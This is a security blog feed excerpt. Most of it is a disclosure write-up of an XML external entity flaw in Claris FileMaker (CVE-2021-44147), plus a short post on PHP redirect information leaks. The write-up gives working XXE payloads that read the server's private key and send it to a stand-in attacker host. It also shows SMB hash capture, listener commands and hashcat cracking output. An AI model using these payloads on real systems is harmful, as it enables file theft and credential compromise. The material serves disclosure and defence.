&lt;p&gt;When testing the security of a specific restriction, be mindful of which environment you are dealing with. Sometimes, it only takes a linefeed (&lt;code&gt;\n&lt;/code&gt;) to bypass a check and cause serious trouble.&lt;/p&gt;</description></item><item><title>Info leaks via buffered output on HTTP redirects</title><link>https://davidhamann.de/2022/02/21/info-leak-php-redirect/</link><pubDate>Mon, 21 Feb 2022 00:00:00 +0000</pubDate><guid>https://davidhamann.de/2022/02/21/info-leak-php-redirect/</guid><description>&lt;p&gt;Writing data to the output buffer before deciding that the response to the current HTTP request should actually be a redirect (for example when an unauthenticated user is not allowed to access some content) is an issue not exclusive to PHP but a relatively easy mistake to make in this environment.&lt;/p&gt;
&lt;p&gt;After not having been exposed to PHP in quite a while I recently did a security assessment of a PHP application again. During the test this exact issue popped up again, so I want to give a short description on how and why this can lead to information leaks.&lt;/p&gt;
&lt;p&gt;Consider the following two files:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;index.php&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;&amp;lt;?php

$logged_in = false;

echo &amp;#39;Here is some content that only logged-in users should see&amp;#39;;

/* ... */

if (!$logged_in) {
 header(&amp;#39;Location: /login.php&amp;#39;);
}

?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;&lt;code&gt;login.php&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;&amp;lt;?php

echo &amp;#39;Here is the login page&amp;#39;;

?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;When requesting &lt;code&gt;index.php&lt;/code&gt; with your browser, you would usually only see the output of &lt;code&gt;login.php&lt;/code&gt;, as the first response from &lt;code&gt;index.php&lt;/code&gt; includes a 302 status code and a &lt;code&gt;Location&lt;/code&gt; header indicating a redirect to &lt;code&gt;/login.php&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;However, if you were to inspect the body of the first response, you &lt;em&gt;would&lt;/em&gt; see the contents that &lt;code&gt;index.php&lt;/code&gt; produced as they were already written into the output buffer when the HTTP response was sent:&lt;/p&gt;
&lt;p&gt;&lt;img alt="Looking at the 302 response" loading="lazy" src="https://davidhamann.de/images/php-redirect.png"&gt;&lt;/p&gt;
&lt;div class="notice notice-info"&gt;
 Unfortunately, the response data of redirections is not shown in Firefox&amp;rsquo;s developer tools (&amp;ldquo;No response data available for this request&amp;rdquo;), so the way you usally identify these issues is to have a proxy running while browsing (e.g. Burp Suite).
&lt;/div&gt;

&lt;h2 id="whats-the-issue"&gt;What&amp;rsquo;s the issue?&lt;/h2&gt;
&lt;p&gt;As you may have already guessed, the issue is that content that is not supposed to reach the client &lt;em&gt;is&lt;/em&gt; actually sent to it. This can either happen because the script places data into the output buffer before it calls &lt;code&gt;header()&lt;/code&gt; (as in the example above) or that it doesn&amp;rsquo;t terminate after setting the &lt;code&gt;Location&lt;/code&gt; header and produces even more output.&lt;/p&gt;
&lt;p&gt;Changing the order of &lt;code&gt;echo&lt;/code&gt; and &lt;code&gt;header&lt;/code&gt; in the example above would not fix the issue if the &lt;code&gt;header()&lt;/code&gt; is not also followed by a termination of the script (e.g. with &lt;code&gt;exit&lt;/code&gt; or &lt;code&gt;die()&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;During my penetration test it was a relatively simple case of just trying to access another user&amp;rsquo;s data by modifying a parameter in the query string. Even though the application&amp;rsquo;s behaviour looked right (redirect to another page) when viewed through a browser, and the developers did properly check the access rights in the code, the data from another user was still being leaked in the response body of the 302 redirect.&lt;/p&gt;
&lt;h2 id="how-can-you-modify-headers-after-output-is-sent"&gt;How can you modify headers after output is sent?&lt;/h2&gt;
&lt;p&gt;You might be wondering how you can even set a header after (part of) a response body has already been sent. Obviously, you can&amp;rsquo;t.&lt;/p&gt;
&lt;p&gt;Looking at &lt;a href="https://www.php.net/manual/en/function.header.php"&gt;PHP&amp;rsquo;s documentation&lt;/a&gt; for &lt;code&gt;header()&lt;/code&gt; we can read:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Remember that header() must be called before any actual output is sent, either by normal HTML tags, blank lines in a file, or from PHP.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;In the small example above the output is not actually sent before the header, but rather buffered before being sent. So as long as your output doesn&amp;rsquo;t exceed the buffer size you will get the behavior described and won&amp;rsquo;t experience any warning. The output buffer behavior (and size) can also be &lt;a href="https://www.php.net/manual/en/outcontrol.configuration.php#ini.output-buffering"&gt;configured via &lt;code&gt;php.ini&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;You can verify this by increasing the amount of output you produce before trying to set a header. Exceeding the buffer size, you will get the warning &lt;code&gt;PHP Warning: Cannot modify header information - headers already sent by...&lt;/code&gt; and the redirect stops working (as you obviously cannot set the &lt;code&gt;Location&lt;/code&gt; header after output has already been sent).&lt;/p&gt;
&lt;p&gt;Note, though, that if you have the order right (first &lt;code&gt;header()&lt;/code&gt;, then your response body) but you forget the termination of the script, you will still have the issue but never get any warning as nothing technically forbids you to have a large body in a redirect response.&lt;/p&gt;
&lt;h2 id="how-to-detect"&gt;How to detect&lt;/h2&gt;
&lt;p&gt;The easiest way to spot this issue during dynamic analysis is by recording your HTTP requests, then sorting them by status code and looking at the response length. Large response sizes for redirection responses will generally show you that something is off and worth looking into.&lt;/p&gt;
&lt;p&gt;Besides recording your manual browsing it also makes sense to look at the response sizes when you&amp;rsquo;re doing any kind of directory/file brute-forcing and don&amp;rsquo;t have access to the source code. Seeing an output like the following (gobuster example) would be a good reason to further look into the actual response data:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;/index.php (Status: 302) [Size: 4091] [--&amp;gt; /login.php] # large
/test.php (Status: 302) [Size: 0] [--&amp;gt; login.php] # normal
&lt;/code&gt;&lt;/pre&gt;</description></item><item><title>CVE-2021-44147: XML External Entity Vulnerability in Claris FileMaker</title><link>https://davidhamann.de/2021/11/18/filemaker-xxe-vulnerability/</link><pubDate>Thu, 18 Nov 2021 00:00:00 +0000</pubDate><guid>https://davidhamann.de/2021/11/18/filemaker-xxe-vulnerability/</guid><description>&lt;p&gt;A couple of months ago I looked more deeply into the &amp;ldquo;Import Records&amp;rdquo; functionality in FileMaker, especially the XML parsing, and was wondering if any &lt;a href="https://en.wikipedia.org/wiki/XML_external_entity_attack"&gt;XXE vulnerability&lt;/a&gt; may exist and how one could exploit this in technically interesting ways.&lt;/p&gt;
&lt;p&gt;The vulnerability is/was indeed there and can lead to local file disclosure and server side request forgery in various components of the FileMaker platform. The following is a description of the vulnerability including potential exploitation paths.&lt;/p&gt;
&lt;p&gt;If you&amp;rsquo;re running FileMaker Server, make sure to install patch 19.4.1 to mitigate this attack vector. The issue was privately disclosed to Claris, Inc. and this write-up was only released after a patch was available (see timeline below).&lt;/p&gt;
&lt;h1 id="abstract"&gt;Abstract&lt;/h1&gt;
&lt;p&gt;The XML parser used to parse XML files (including XLSX) during import (&amp;ldquo;Import Records&amp;rdquo; action) does not prevent the use of external entities which allows an attacker to perform HTTP requests to arbitrary hosts, including internal ones, and in addition allows reading and exfiltrating the contents of arbitrary files, given they can be transported via a HTTP GET or included within a XML document without further encoding. When the FileMaker Server is runnning under a custom Windows user, it is also possible to utilize UNC paths in external entities, make the user connect to a share and through that steal and potentially crack the NetNTLMv2 hash to reveal the user&amp;rsquo;s password.&lt;/p&gt;
&lt;p&gt;The proof-of-concepts below demonstrate this with a fmp12 file hosted via WebDirect. In the first example we will make a request to a private host by uploading a crafted XLSX file. In the second and third example, we will steal the private key of the FileMaker Server in-band and out-of-band, respectively. In the last example, we eventually explore the scenario where we initiate a SMB connection to capture the NetNTLMv2 hash.&lt;/p&gt;
&lt;p&gt;Note that these techniques could also be used in phishing scenarios in which a user is tricked into uploading a XML/Excel file for further processing (e.g. an order document) or even just opens a snapshot link file for which FileMaker Pro is usually set as the default application.&lt;/p&gt;
&lt;p&gt;To get an easy overview I also demonstrate the mentioned four potential attack vectors in a video embedded below.&lt;/p&gt;
&lt;h1 id="the-vulnerability"&gt;The vulnerability&lt;/h1&gt;
&lt;p&gt;What makes all this possible is the behavior of a non-hardened or insufficiently configured XML parser which allows for so called &amp;ldquo;XML external entity attacks&amp;rdquo; (XXE). This essentially means that it does allow using external entities and (for some attacks necessary) external DTDs.&lt;/p&gt;
&lt;p&gt;In an XXE attack you give an application XML input to parse which includes references to external objects (e.g. a local or remote file, a resource accessible via HTTP, FTP or other protocols). How these resources are accessed depends on the implementation. But the author of an XML file can generally just provide the scheme (like &lt;code&gt;file://&lt;/code&gt; or &lt;code&gt;http://&lt;/code&gt;) in the resource URI and then see what the parser/the included libraries do with it.&lt;/p&gt;
&lt;p&gt;Let&amp;rsquo;s first have a look at XML entities in general.&lt;/p&gt;
&lt;h1 id="xml-entities"&gt;XML Entities&lt;/h1&gt;
&lt;p&gt;XML entities can be declared in the (internal or external) DTD (&lt;em&gt;subset&lt;/em&gt;) and reference both internal data (like a constant value you would like to reference multiple times in your document) or external data (like a local or remote file, a web resource, etc., described as a URI). In addition to your own declared entities there are also predefined ones that are helpful for example when wanting to use characters in your documents that would otherwise have meaning to the XML parser (e.g. a &lt;code&gt;&amp;lt;&lt;/code&gt; character, which could be represented as &lt;code&gt;&amp;amp;lt;&lt;/code&gt; or &lt;code&gt;&amp;amp;#x3c;&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;We can use regular &lt;a href="https://www.xml.com/pub/a/98/08/xmlqna1.html#INTENT"&gt;internal entities&lt;/a&gt; for internal data and &lt;a href="https://www.xml.com/pub/a/98/08/xmlqna1.html#EXTENT"&gt;external entities&lt;/a&gt; for external data. A third kind of entity are &lt;a href="https://www.xml.com/pub/a/98/08/xmlqna1.html#PARAMENT"&gt;Parameter Entities&lt;/a&gt;, which allow us to reference entities within other entities – exactly what we will need later on to make the out-of-band data exfiltration work.&lt;/p&gt;
&lt;p&gt;Entity, entity, entity&amp;hellip; Let&amp;rsquo;s see some examples:&lt;/p&gt;
&lt;h2 id="internal"&gt;Internal&lt;/h2&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;&amp;lt;!ENTITY myinternal &amp;#34;some value&amp;#34;&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Using this entity with the name of &amp;ldquo;myinternal&amp;rdquo; inside your document would lead to a replacement/expansion of &lt;code&gt;&amp;amp;myinternal;&lt;/code&gt; to &amp;ldquo;some value&amp;rdquo; (like a macro).&lt;/p&gt;
&lt;h2 id="external"&gt;External&lt;/h2&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;&amp;lt;!ENTITY myexternal SYSTEM &amp;#34;file:///etc/passwd&amp;#34;&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Using this entity with the name of &amp;ldquo;myexternal&amp;rdquo; inside your document would lead to a replacement/expansion of &lt;code&gt;&amp;amp;myexternal;&lt;/code&gt; with the contents of &lt;code&gt;/etc/passwd&lt;/code&gt;. Since you specify a URI, you can use other schemes to indicate other protocols, like &lt;code&gt;http://&lt;/code&gt;, &lt;code&gt;ftp://&lt;/code&gt;, or even &lt;code&gt;gopher://&lt;/code&gt;, depending on what is supported by the library making the requests (in the examples below I only use file and http, since these were the ones I found to be supported by FM(S)).&lt;/p&gt;
&lt;p&gt;In case the FileMaker solution you are targeting shows you the result of the import (i.e. the imported records or the import mapping dialog), this type of entity is enough to read files in-band (vs. out-of-band with &lt;em&gt;Parameter Entities&lt;/em&gt;).&lt;/p&gt;
&lt;h2 id="parameter"&gt;Parameter&lt;/h2&gt;
&lt;p&gt;The declaration of &lt;em&gt;Parameter Entities&lt;/em&gt; looks almost the same, except that we need to add a percent sign before the name. This is also true when referencing them later, as in &lt;code&gt;%myparameter;&lt;/code&gt; (only allowed within (!) the internal or external DTD).&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;&amp;lt;!ENTITY % myparameter SYSTEM &amp;#34;file:///etc/passwd&amp;#34;&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;As mentioned in the beginning, &lt;em&gt;Parameter Entities&lt;/em&gt; are also allowed to be used within the replacement text of other entities, so constructs like this become possible.&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;&amp;lt;!ENTITY % secret SYSTEM &amp;#34;file:///secret.txt&amp;#34;&amp;gt;
&amp;lt;!ENTITY % evalme &amp;#39;&amp;lt;!ENTITY &amp;amp;#x25; exfiltrate SYSTEM &amp;#34;http://evil-host.example/%secret;&amp;#34;&amp;gt;&amp;#39;&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Here, when using the &lt;code&gt;%exfiltrate;&lt;/code&gt; entity, we would send the contents of &lt;code&gt;secret.txt&lt;/code&gt; while making the request to &lt;code&gt;evil-host.example&lt;/code&gt;. The evil host could decide how to respond to the request after capturing the data. Even if a 404 error is returned and the parsing of the original XML document fails, the damage of data exfiltration would have already been done.&lt;/p&gt;
&lt;div class="notice notice-info"&gt;
 The &lt;code&gt;&amp;amp;#x25;&lt;/code&gt; here is a character entity referring to the hex value 25, which stands for the percent sign in ASCII.
&lt;/div&gt;

&lt;p&gt;Note that for the parser to actually expand &lt;code&gt;evalme&lt;/code&gt; (such that &lt;code&gt;exfiltrate&lt;/code&gt; is defined and tries to load the resource with &lt;code&gt;secret&lt;/code&gt; as path), we would need to reference it in the DTD, like so:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;%evalme;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Another important thing to note is that for this to work, the parameter entity reference within another declaration (as in &lt;code&gt;evalme&lt;/code&gt;) must not occur in the internal DTD but in an external one that we can reference via a (parameter or general) entity as well. For example like follows (in the original XML document&amp;rsquo;s internal DTD):&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;&amp;lt;!ENTITY % xxe SYSTEM &amp;#34;http://evil-host.example/malicious.dtd&amp;#34;&amp;gt; %xxe; %evalme; %exfiltrate;
&lt;/code&gt;&lt;/pre&gt;&lt;div class="notice notice-info"&gt;
 More info on XML entities can be found here: &lt;a href="https://www.xml.com/pub/a/98/08/xmlqna0.html"&gt;https://www.xml.com/pub/a/98/08/xmlqna0.html&lt;/a&gt;
&lt;/div&gt;

&lt;h1 id="what-about-xlsx"&gt;What about XLSX?&lt;/h1&gt;
&lt;p&gt;In the beginning I mentioned that XLSX imports are affected as well. This is because XLSX documents are essentially zip files containing XML files. Adding a DTD to one of the XML files being parsed on import has the same effect as doing it in a XML file which is imported on its own.&lt;/p&gt;
&lt;p&gt;A sample XLSX file structure:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;├── [Content_Types].xml
├── _rels
├── docProps
│   ├── app.xml
│   ├── core.xml
│   └── thumbnail.jpeg
└── xl
 ├── _rels
 │   └── workbook.xml.rels
 ├── sharedStrings.xml
 ├── styles.xml
 ├── theme
 │   └── theme1.xml
 ├── workbook.xml
 └── worksheets
 └── sheet1.xml
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;In my demonstration I chose to modify &lt;code&gt;workbook.xml&lt;/code&gt; and &lt;code&gt;sharedStrings.xml&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Note that XLSX is especially interesting as it is supported in WebDirect and is thus more likely to be available to the public via the internet.&lt;/p&gt;
&lt;h1 id="setup-to-reproduce-the-attack"&gt;Setup to reproduce the attack&lt;/h1&gt;
&lt;p&gt;For the examples below I use the following setup:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Latest FMS19 (19.3.2) on latest Windows Server 2016 or 2019&lt;/li&gt;
&lt;li&gt;WebDirect enabled so that files can be served via HTTP (not required if you want to test with native clients or server only)&lt;/li&gt;
&lt;li&gt;A hosted custom app that shows the default toolbars or any custom button offering an &lt;code&gt;Import Records&lt;/code&gt; script step, and allows importing of records (e.g. the default &lt;code&gt;Data Entry Only&lt;/code&gt; privilege set).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Using this setup, you can choose &lt;code&gt;Import Records&lt;/code&gt; from the toolbar menu or click on the custom button and upload a crafted malicious XLSX file.&lt;/p&gt;
&lt;p&gt;Note that this vulnerability is not specific to WebDirect, but WebDirect is used for demonstration as it is most likely the component that is publicly available on the internet. Performing &lt;code&gt;Import Records&lt;/code&gt; with the same XLSX or XML file in a FM native client in a local or hosted environment has the same effect.&lt;/p&gt;
&lt;p&gt;Also note that the account an attacker uses must allow &lt;code&gt;Import Records&lt;/code&gt; (as in the default &lt;code&gt;Data Entry Only&lt;/code&gt; privilege set). The account could be chosen explicitly (as in a login) or implicitly used when auto-login is enabled (as is common in public apps that handle their own authentication (which may have additional issues) or don&amp;rsquo;t have authentication at all).&lt;/p&gt;
&lt;p&gt;The default example file &lt;code&gt;FMServer_Sample.fmp12&lt;/code&gt; is not vulnerable as it uses the &lt;code&gt;Guest&lt;/code&gt; privilege set which is read-only and thus does not allow importing of records.&lt;/p&gt;
&lt;h2 id="making-an-internal-request-server-side-request-forgery"&gt;Making an internal request (Server Side Request Forgery)&lt;/h2&gt;
&lt;p&gt;Let&amp;rsquo;s make the server do a request of our choosing. We create a new XLSX document, &lt;code&gt;malicious.xlsx&lt;/code&gt;, unzip it, make a modification to &lt;code&gt;sharedStrings.xml&lt;/code&gt; and then zip it up again.&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;&amp;lt;?xml version=&amp;#34;1.0&amp;#34; encoding=&amp;#34;UTF-8&amp;#34;?&amp;gt;
&amp;lt;!DOCTYPE sst [
&amp;lt;!ENTITY req SYSTEM &amp;#34;http://127.0.0.1:1234/myinternalservice&amp;#34;&amp;gt;
]&amp;gt;
&amp;lt;sst uniqueCount=&amp;#34;2&amp;#34; xmlns=&amp;#34;http://schemas.openxmlformats.org/spreadsheetml/2006/main&amp;#34;&amp;gt;&amp;lt;si&amp;gt;&amp;lt;t&amp;gt;Table 1&amp;lt;/t&amp;gt;&amp;lt;/si&amp;gt;&amp;lt;si&amp;gt;&amp;lt;t&amp;gt;Hello &amp;amp;req;&amp;lt;/t&amp;gt;&amp;lt;/si&amp;gt;&amp;lt;/sst&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Before uploading the file via WebDirect, we start a local listener to simulate a service running on localhost or another host on the internal or external network. A quick way to do this is to use &lt;a href="https://github.com/besimorhino/powercat"&gt;Powercat&lt;/a&gt; in PowerShell:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;. .\powercat.ps1
powercat -l -p 1234
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;After choosing and submitting &lt;code&gt;malicious.xlsx&lt;/code&gt; in the Import Records dialog, we will see the request hitting our service.&lt;/p&gt;
&lt;p&gt;&lt;img alt="Requesting an internal service" loading="lazy" src="https://davidhamann.de/images/fmxxe-powercat.jpg"&gt;&lt;/p&gt;
&lt;p&gt;We could also exfiltrate the response of the internal service back to us (which is likely more valuable), e.g. when querying some metadata service that could reveal sensitive information (see &amp;ldquo;Stealing a file out-of-band&amp;rdquo; below – same technique).&lt;/p&gt;
&lt;h2 id="stealing-a-file-in-band"&gt;Stealing a file in-band&lt;/h2&gt;
&lt;p&gt;If the result of the import is visible to the user or we get an import mapping dialog, we can exilftrate file contents in-band.&lt;/p&gt;
&lt;p&gt;We modify our malicious.xlsx and add the following to the &lt;code&gt;sharedStrings.xml&lt;/code&gt;:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;&amp;lt;!DOCTYPE sst [
&amp;lt;!ENTITY file SYSTEM &amp;#34;file:///c:/PROGRA~1/FileMaker/FILEMA~1/CStore/serverKey.pem&amp;#34;&amp;gt;
]&amp;gt;
&amp;lt;sst uniqueCount=&amp;#34;2&amp;#34; xmlns=&amp;#34;http://schemas.openxmlformats.org/spreadsheetml/2006/main&amp;#34;&amp;gt;&amp;lt;si&amp;gt;&amp;lt;t&amp;gt;Table 1&amp;lt;/t&amp;gt;&amp;lt;/si&amp;gt;&amp;lt;si&amp;gt;&amp;lt;t&amp;gt;&amp;amp;file;&amp;lt;/t&amp;gt;&amp;lt;/si&amp;gt;&amp;lt;/sst&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;div class="notice notice-info"&gt;
 We are using short names in the path to prevent using spaces (as in &amp;ldquo;FileMaker Server&amp;rdquo;). You can find the shortnames using &lt;code&gt;dir /x&lt;/code&gt;.
&lt;/div&gt;

&lt;p&gt;Importing the &lt;code&gt;malicious.xlsx&lt;/code&gt; file, we can now see the result of the serverKey.pem (either in the import mapping dialog or in a field of the current foundset of imported records).&lt;/p&gt;
&lt;p&gt;&lt;img alt="Selecting &amp;ldquo;Import Records&amp;rdquo; from the toolbar" loading="lazy" src="https://davidhamann.de/images/fmxxe-inband1.jpg"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="Upload dialog" loading="lazy" src="https://davidhamann.de/images/fmxxe-inband2.jpg"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="Local file contents in import mapping" loading="lazy" src="https://davidhamann.de/images/fmxxe-inband3.jpg"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="Local file contents in visible field on layout after import" loading="lazy" src="https://davidhamann.de/images/fmxxe-inband4.jpg"&gt;&lt;/p&gt;
&lt;h2 id="stealing-a-file-out-of-band"&gt;Stealing a file out-of-band&lt;/h2&gt;
&lt;p&gt;When the result of the import is not available, we can attempt to get the contents of a file out-of-band, using another HTTP request to a server under our control.&lt;/p&gt;
&lt;p&gt;For this, we modify &lt;code&gt;sharedStrings.xml&lt;/code&gt; again:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;&amp;lt;?xml version=&amp;#34;1.0&amp;#34; encoding=&amp;#34;UTF-8&amp;#34;?&amp;gt;
&amp;lt;!DOCTYPE sst [
&amp;lt;!ENTITY % dtd SYSTEM &amp;#34;http://evil-host.example/malicious.dtd&amp;#34;&amp;gt; %dtd; %evalme; %exfiltrate;
]&amp;gt;
&amp;lt;sst uniqueCount=&amp;#34;2&amp;#34; xmlns=&amp;#34;http://schemas.openxmlformats.org/spreadsheetml/2006/main&amp;#34;&amp;gt;&amp;lt;si&amp;gt;&amp;lt;t&amp;gt;Table 1&amp;lt;/t&amp;gt;&amp;lt;/si&amp;gt;&amp;lt;si&amp;gt;&amp;lt;t&amp;gt;Hello&amp;lt;/t&amp;gt;&amp;lt;/si&amp;gt;&amp;lt;/sst&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;And in our &lt;code&gt;malicious.dtd&lt;/code&gt;:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;&amp;lt;!ENTITY % file SYSTEM &amp;#34;file:///c:/PROGRA~1/FileMaker/FILEMA~1/CStore/serverKey.pem&amp;#34;&amp;gt;
&amp;lt;!ENTITY % evalme &amp;#39;&amp;lt;!ENTITY &amp;amp;#x25; exfiltrate SYSTEM &amp;#34;http://evil-host.example:8000/%file;&amp;#34;&amp;gt;&amp;#39;&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Since we now send the file contents to our server, we need to have some kind of listener running. For this example, we could use a simple netcat listener:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;nc -lvnkp 8000
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;img alt="The contents of the file sent in the path component of the URL (GET request)" loading="lazy" src="https://davidhamann.de/images/fmxxe-oob-exfil.jpg"&gt;&lt;/p&gt;
&lt;h2 id="stealing-the-server-users-hash-and-trying-to-crack-it"&gt;Stealing the server user&amp;rsquo;s hash and trying to crack it&lt;/h2&gt;
&lt;p&gt;In case FileMaker Server is running under a custom Windows user and SMB egress traffic is not blocked, we can attempt to steal the NetNTLMv2 hash of this user. This is possible because we can give an external entity a UNC path to connect to a SMB server under our control. We can give the user a login challenge and receive its hash, then try to crack it:&lt;/p&gt;
&lt;p&gt;Again, in our &lt;code&gt;sharedStrings.xml&lt;/code&gt;:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;&amp;lt;?xml version=&amp;#34;1.0&amp;#34; encoding=&amp;#34;UTF-8&amp;#34;?&amp;gt;
&amp;lt;!DOCTYPE sst [
&amp;lt;!ENTITY connect SYSTEM &amp;#34;file:////evil-host.example/TMP/whatever&amp;#34;&amp;gt;
]&amp;gt;
&amp;lt;sst uniqueCount=&amp;#34;2&amp;#34; xmlns=&amp;#34;http://schemas.openxmlformats.org/spreadsheetml/2006/main&amp;#34;&amp;gt;&amp;lt;si&amp;gt;&amp;lt;t&amp;gt;Table 1&amp;lt;/t&amp;gt;&amp;lt;/si&amp;gt;&amp;lt;si&amp;gt;&amp;lt;t&amp;gt;&amp;amp;connect;&amp;lt;/t&amp;gt;&amp;lt;/si&amp;gt;&amp;lt;/sst&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;To start a SMB server, we can use &lt;a href="https://github.com/SecureAuthCorp/impacket/blob/master/examples/smbserver.py"&gt;Impacket&amp;rsquo;s &lt;code&gt;smbserver.py&lt;/code&gt;&lt;/a&gt;:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;sudo python3 /usr/share/doc/python3-impacket/examples/smbserver.py -smb2support TMP $(pwd)
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Uploading our &lt;code&gt;malicious.xlsx&lt;/code&gt; we now get a connect back and retrieve the NetNTLMv2 hash:&lt;/p&gt;
&lt;p&gt;&lt;img alt="Getting the NetNTLMv2 hash from the Windows user running the FileMaker Server instance" loading="lazy" src="https://davidhamann.de/images/fmxxe-unc-hash.jpg"&gt;&lt;/p&gt;
&lt;p&gt;If it&amp;rsquo;s a weak password, we might also be able to crack it. For example with Hashcat:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;hashcat -m 5600 hash ~/wordlists/super-duper-wordlist.txt
[...]
CUSTOM::WIN-ECLLFT4DU92:aaaaaaaaaaaaaaaa:ba97ec5447d22506cc9d986d3e6c0e96:0101000000000000808821707f9e...:password123!
 
Session..........: hashcat
Status...........: Cracked
Hash.Name........: NetNTLMv2
Hash.Target......: CUSTOM::WIN-ECLLFT4DU92:aaaaaaaaaaaaaaaa:ba97ec5447...000000
[...]
&lt;/code&gt;&lt;/pre&gt;&lt;h1 id="video-about-potential-exploitation"&gt;Video about potential exploitation&lt;/h1&gt;
&lt;p&gt;Below is a video going through the examples:&lt;/p&gt;
&lt;iframe width="560" height="315" src="https://www.youtube-nocookie.com/embed/eN9llu2rTTs" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen&gt;&lt;/iframe&gt;
&lt;hr /&gt;
&lt;h1 id="affected-versions"&gt;Affected versions&lt;/h1&gt;
&lt;p&gt;I mostly tested on Windows Server 2016 and 2019 and FileMaker Server/Pro 19.3.2. However, I am pretty certain that earlier versions are affected as well. On macOS requests and in-band exfiltration worked as well, however, using external parameter entities within other entities (for out-of-band exfiltration) threw some NetAccessor errors. This is likely related to the options used in building libxerces-c (which FM likely uses for parsing XML), but I did not spend any further time investigating this / trying to make it work.&lt;/p&gt;
&lt;p&gt;I suspect Claris&amp;rsquo; FileMaker Cloud service is affected as well, but I did not test this as I am not aware of any public policy regarding authorization to test their services.&lt;/p&gt;
&lt;p&gt;Also note that the same XML parser is used for processing &amp;ldquo;snapshot links&amp;rdquo; (which are XML files as well; &lt;code&gt;*.fmpsl&lt;/code&gt;), which could come in handy when executing phishing attacks.&lt;/p&gt;
&lt;h1 id="mitigate"&gt;Mitigate&lt;/h1&gt;
&lt;p&gt;Please patch your FMS and FMP clients to version 19.4.1. If you cannot, there&amp;rsquo;s unfortunately not too much you can do to reliably prevent these attacks and keep the functionality.&lt;/p&gt;
&lt;p&gt;Since you will unlikely patch FM binaries yourself, one option is to detect/block XXE payloads before they even reach your FMS (using a WAF, which could still be bypassable, and also doesn&amp;rsquo;t help when you don&amp;rsquo;t use the web but native clients).&lt;/p&gt;
&lt;p&gt;To protect against the exfiltration part, you could filter/lock-down egress traffic. If your server is not allowed to talk to external hosts or only to specific hosts with specific protocols then the above technique will likely fail (there&amp;rsquo;s always the possibility you miss something and exfiltration becomes possible again via a different protocol, an open redirect on an allowed host, or something else, but it is another hurdle). Note that in-band exfiltration would still remain possible (if the mapping dialog or import result is shown).&lt;/p&gt;
&lt;p&gt;Lastly, you could of course also easily restrict access to the feature itself in your custom solution, i.e. not allow any imports.&lt;/p&gt;
&lt;p&gt;Client-wise you would still need to update to prevent the &amp;ldquo;double-click&amp;rdquo; or &amp;ldquo;open with&amp;rdquo; phishing scenario (as the fmpsl or xlsx is processed independent of your solution).&lt;/p&gt;
&lt;h1 id="timeline"&gt;Timeline&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;2021-09-01: I reported to &lt;code&gt;security@filemaker.com&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;2021-09-08: Due to no response, I followed up again to same email address and asked for acknowledgement of receipt; got acknowledged same day&lt;/li&gt;
&lt;li&gt;2021-09-19: Claris asked for sample exploit files to validate their solution; I provided two samples same day&lt;/li&gt;
&lt;li&gt;2021-11-04: I followed up again asking for status of fix; got response same day that fix is ready but pre-announcements of a release cannot be made&lt;/li&gt;
&lt;li&gt;2021-11-16: Claris released patch. Please note that the issue is only mentioned in the release notes for the client, not for the server. However, the server update does include the fix.&lt;/li&gt;
